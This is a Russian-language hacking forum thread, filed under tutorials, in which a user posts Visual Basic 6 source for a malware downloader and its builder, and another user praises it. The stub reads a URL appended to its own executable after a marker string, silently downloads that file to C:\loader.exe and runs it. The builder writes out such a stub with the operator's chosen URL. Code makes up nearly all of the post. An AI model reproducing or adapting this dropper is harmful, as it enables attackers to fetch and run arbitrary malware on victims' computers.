1. Все файлы исключительно загружать на наш сервер в формате .rar или .zip, темы где будут указаны ссылки для загрузки файлов будут удалены.

VB6 - Downloader Tutorial

Тема в разделе "Tutorials", создана пользователем MR. MORFEY, 3 янв 2017.

  1. MR. MORFEY
    Статус
    Онлайн
    Сообщения:
    819
    Симпатии:
    1.526


    Код:
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    
    Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
    End Function
    
    Private Sub Form_Load()
    Open App.EXEName & ".exe" For Binary As 1
    Dim eee As String
    eee = Space$(LOF(1))
    Get 1, , eee
    Close 1
    Dim ggg() As String
    ggg() = Split(eee, "MORFEY_HACKER_DEATH")
    DownloadFile ggg(1), "C:\loader.exe"
    Shell "C:\loader.exe"
    End
    End Sub
    Код:
    Private Sub Command1_Click()
    Dim eee() As Byte
    eee = LoadResData(101, "CUSTOM")
    Open App.Path & "/build.exe" For Binary As 1
    Put 1, , eee
    Put 1, , "MORFEY_HACKER_DEATH"
    Put 1, , Text1.Text
    Close 1
    MsgBox "ok", vbInformation
    End Sub
     
    Hiaby, Anubis и FAST3 нравится это.
  2. FAST3
    Статус
    Оффлайн
    Сообщения:
    463
    Симпатии:
    594
    Хорошая работа! как всегда.